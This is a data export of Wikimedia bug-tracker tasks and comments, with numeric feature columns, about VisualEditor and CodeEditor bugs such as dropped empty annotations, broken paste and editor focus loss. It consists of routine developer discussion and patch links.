208493,VisualEditor: Empty annotations are dropped,"Above change fixes issue with annotations being dropped, but we still need to fix empty annotations not rendering (e.g. <span style=""display: block; background: red; width: 100px; height: 100px;""></span>), either here or in a new bug.",,,1371062712,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,2.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,8.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,6.0,4.081632653061225,0.8571428571428571,"Above change fixes issue with annotations being dropped, but we still need to fix empty annotations not rendering (e.g. <span style=""display: block; background: red; width: 100px; height: 100px;""></span>), either here or in a new bug."
208488,VisualEditor: Empty annotations are dropped,Related URL: https://gerrit.wikimedia.org/r/68213 (Gerrit Change I0f3a194f629b054f193a61af105733a555775d79),,,1371062522,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I0f3a194f629b054f193a61af105733a555775d79)
208485,VisualEditor: Empty annotations are dropped,"That would be nice, yes, but I don't think it's critically important.",,,1370298323,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,False,,,-4,,0.0,0.0,0.0,0.0,6.0,12.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.411764705882353,0.9411764705882353,"That would be nice, yes, but I don't think it's critically important."
208482,VisualEditor: Empty annotations are dropped,"(Actually it's a yes/no question, both cases relate to the same behaviour.)",,,1369419847,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.3684210526315788,1.0,"(Actually it's a yes/no question, both cases relate to the same behaviour.)"
208476,VisualEditor: Empty annotations are dropped,"(In reply to comment #1)
> Should the inline node disappear if saved next to similarly annotated text,
> 
> e.g.
> '<i><emptyAnnotation /></i><i>Foo</i>' => '<i>Foo</i>'
> 
> or more complex:
> 
> '<i><emptyAnnotation /></i><b><i>Foo</i></b>' => '<i><emptyAnnotation
> /><b>Foo</b></i>'
> ?

I believe the latter, but Roan was going to answer this.",,,1369248022,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,31.0,0.0,2.0,5.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,21.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.0476190476190474,0.5476190476190477,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I believe the latter, but Roan was going to answer this."
208471,VisualEditor: Empty annotations are dropped,"Should the inline node disappear if saved next to similarly annotated text,

e.g.
'<i><emptyAnnotation /></i><i>Foo</i>' => '<i>Foo</i>'

or more complex:

'<i><emptyAnnotation /></i><b><i>Foo</i></b>' => '<i><emptyAnnotation /><b>Foo</b></i>'
?",,,1368980503,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-njbgmmjxybp3rk2azuui,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,14.0,0.0,0.0,0.0,2.0,0.0,7.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,15.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,19.0,3.8135593220338984,0.559322033898305,"Should the inline node disappear if saved next to similarly annotated text,

e.g.
'<i><emptyAnnotation /></i><i>Foo</i>' => '<i>Foo</i>'

or more complex:

'<i><emptyAnnotation /></i><b><i>Foo</i></b>' => '<i><emptyAnnotation /><b>Foo</b></i>'
?"
50603,VisualEditor: [Regression] Cursor should move to end of inserted contents after paste,"

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1368891000,1369092019.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-wggr7br64lqzvnsbmef2,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9444444444444446,0.5,"

--------------------------
**Version**: unspecified
**Severity**: minor"
208344,VisualEditor: [Regression] Cursor should move to end of inserted contents after paste,Merged and will go out with wmf5.,,,1369092019,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wggr7br64lqzvnsbmef2,task_subcomment,,True,c1,1,True,,,-6,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.375,1.0,Merged and will go out with wmf5.
208340,VisualEditor: [Regression] Cursor should move to end of inserted contents after paste,Related URL: https://gerrit.wikimedia.org/r/64484 (Gerrit Change Ia2a2120cb75aa86374b594ae3f484c5161028919),,,1368891842,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wggr7br64lqzvnsbmef2,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ia2a2120cb75aa86374b594ae3f484c5161028919)
50602,VisualEditor: Paste is broken,"Throws an exception on line 564 of ve.ce.Surface, ve.getWindow is undefined.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1368890520,1368978729.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-jslagmridhbcpdvjclho,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,0.0,9.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,12.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.181818181818182,0.696969696969697,"Throws an exception on line 564 of ve.ce.Surface, ve.getWindow is undefined.

--------------------------
**Version**: unspecified
**Severity**: normal"
208288,VisualEditor: Paste is broken,Merged in master; will go out as part of wmf5.,,,1368978729,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jslagmridhbcpdvjclho,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,33.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0833333333333335,1.0,Merged in master; will go out as part of wmf5.
208283,VisualEditor: Paste is broken,Related URL: https://gerrit.wikimedia.org/r/64483 (Gerrit Change I31dc071328123b57b778aa1b21f0e1daf6405e5c),,,1368890997,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jslagmridhbcpdvjclho,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I31dc071328123b57b778aa1b21f0e1daf6405e5c)
50584,VisualEditor: 'Review and save' disabled after undo on oldid page,"'Review and save' is enabled on loading an old version of a page (as it should) but becomes disabled briefly after the first transaction is committed, and again if you undo to the top of the stack.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1368819600,1368885016.0,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-kayythzbd2m7qbeafhrw,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.0,5.0,2.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,11.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,3.819672131147541,0.7540983606557377,"'Review and save' is enabled on loading an old version of a page (as it should) but becomes disabled briefly after the first transaction is committed, and again if you undo to the top of the stack.

--------------------------
**Version**: unspecified
**Severity**: normal"
232529,VisualEditor: 'Review and save' disabled after undo on oldid page,Merged; will go out with wmf5.,,,1368885016,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-kayythzbd2m7qbeafhrw,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,Merged; will go out with wmf5.
232525,VisualEditor: 'Review and save' disabled after undo on oldid page,Related URL: https://gerrit.wikimedia.org/r/64372 (Gerrit Change I67c011ac655d4e553f9467cab10a875aaac61d03),,,1368820898,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kayythzbd2m7qbeafhrw,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I67c011ac655d4e553f9467cab10a875aaac61d03)
50576,"Text field seems to lose focus, selection not possible any more","When ""deselecting"" the text field of the visual editor (e.g. by clicking into the summary field) it seems to somehow loose focus.

It's then not possible to directly select text (with the mouse) anymore. One needs to first click one time into the text field to be able to normally select text again.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1368796920,1395789580.0,PHID-USER-v3yn5qf233ggnnnmvejc,False,,False,PHID-TASK-namz3nhksthhosxp6pjt,task_description,resolved,True,c1,1,False,False,False,-7,,0.0,0.0,0.0,0.0,1.0,7.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,12.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,1.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,1.0,6.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,12.0,0.0,0.0,2.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,3.8902439024390243,0.6341463414634146,"When ""deselecting"" the text field of the visual editor (e.g. by clicking into the summary field) it seems to somehow loose focus.

It's then not possible to directly select text (with the mouse) anymore. One needs to first click one time into the text field to be able to normally select text again.

--------------------------
**Version**: unspecified
**Severity**: minor"
232135,"Text field seems to lose focus, selection not possible any more","I d'not know why I ever wrote VisualEditor but this definitely is about CodeEditor. And it definitely is fixed now!

Thanks for bringing it up again (I remember you adding the PATCH_TO_REVIEW) but it wasn't merged back then so I couldn't test if the bug was really fixed) so we can close it for good.",,,1395789580,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,False,,,38,,0.0,0.0,0.0,5.0,3.0,2.0,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,8.0,0.0,20.0,9.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,6.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,2.0,3.0,6.0,14.0,5.0,5.0,5.0,0.0,0.0,2.0,0.0,3.0,0.0,2.0,0.0,16.0,9.0,3.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,3.859375,0.734375,"I d'not know why I ever wrote VisualEditor but this definitely is about CodeEditor. And it definitely is fixed now!

Thanks for bringing it up again (I remember you adding the PATCH_TO_REVIEW) but it wasn't merged back then so I couldn't test if the bug was really fixed) so we can close it for good."
232131,"Text field seems to lose focus, selection not possible any more","Wait, this is in the CodeEditor extension group, but people are talking about the 'visual editor'. Did the reporter originally file it under the wrong Extension ?

Eduard, can you clarify please ?",,,1395786171,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,True,,,38,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,12.0,0.0,2.0,12.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,5.0,8.0,8.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.125,0.825,"Wait, this is in the CodeEditor extension group, but people are talking about the 'visual editor'. Did the reporter originally file it under the wrong Extension ?

Eduard, can you clarify please ?"
232128,"Text field seems to lose focus, selection not possible any more",This seems fixed with: https://gerrit.wikimedia.org/r/104510,,,1388485715,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,True,,,26,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.833333333333333,1.0,This seems fixed with: GERRIT_URL
232124,"Text field seems to lose focus, selection not possible any more",Is this the same issue as bug 50722?,,,1373479425,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2222222222222223,1.0,Is this the same issue as bug 50722?
232118,"Text field seems to lose focus, selection not possible any more","I think I can replicate this bug, but I'm not sure I entirely understand the whole problem.

If I select some text in the CodeEditor box, then click into another input element on the page to move focus there, then click back into to the CodeEditor, the cursor position within the text area does not change to the place I just clicked at and the selected text remains selected. I would expect it to deselect all text and move the cursor position to where the mouse cursor is. Major -> Minor",,,1368807619,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,1,True,,,-7,,1.5,0.0,0.5,0.0,1.5,2.0,0.0,0.0,0.0,0.5,0.5,0.5,0.0,0.0,0.0,4.5,0.0,6.0,8.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,1.0,0.0,5.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,0.0,8.0,1.0,8.5,1.5,2.5,10.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,5.5,8.5,2.5,0.0,0.0,0.0,5.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,3.962156862745098,0.7125490196078432,"I think I can replicate this bug, but I'm not sure I entirely understand the whole problem.

If I select some text in the CodeEditor box, then click into another input element on the page to move focus there, then click back into to the CodeEditor, the cursor position within the text area does not change to the place I just clicked at and the selected text remains selected. I would expect it to deselect all text and move the cursor position to where the mouse cursor is. Major -> Minor"
232113,"Text field seems to lose focus, selection not possible any more",I'm using Firefox 21 on Windows 7.,,,1368803015,,PHID-USER-v3yn5qf233ggnnnmvejc,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,1,False,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,11.0,22.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,3.111111111111111,1.0,I'm using Firefox 21 on Windows 7.
232108,"Text field seems to lose focus, selection not possible any more",Could you please provide browser information?,,,1368802912,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-namz3nhksthhosxp6pjt,task_subcomment,,True,c1,1,True,,,-7,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.714285714285714,1.0,Could you please provide browser information?
50564,"VisualEditor: ""Move this category here"" should not appear in category suggestions when you've not picked one that exists","It should only appear when you're matching to a single, extant category - it doesn't appear for a new category, but appears (with no content) where you match more than one, which is confusing.

--------------------------
**Version**: unspecified
**Severity**: minor",Medium,50.0,1368749040,1370567377.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-ppxeze2biaiay2bq2ned,task_description,resolved,True,c1,1,True,False,True,-7,,0.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,5.0,2.0,0.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,8.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,5.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,5.0,3.0,0.0,2.0,2.0,0.0,0.0,3.8333333333333335,0.75,"It should only appear when you're matching to a single, extant category - it doesn't appear for a new category, but appears (with 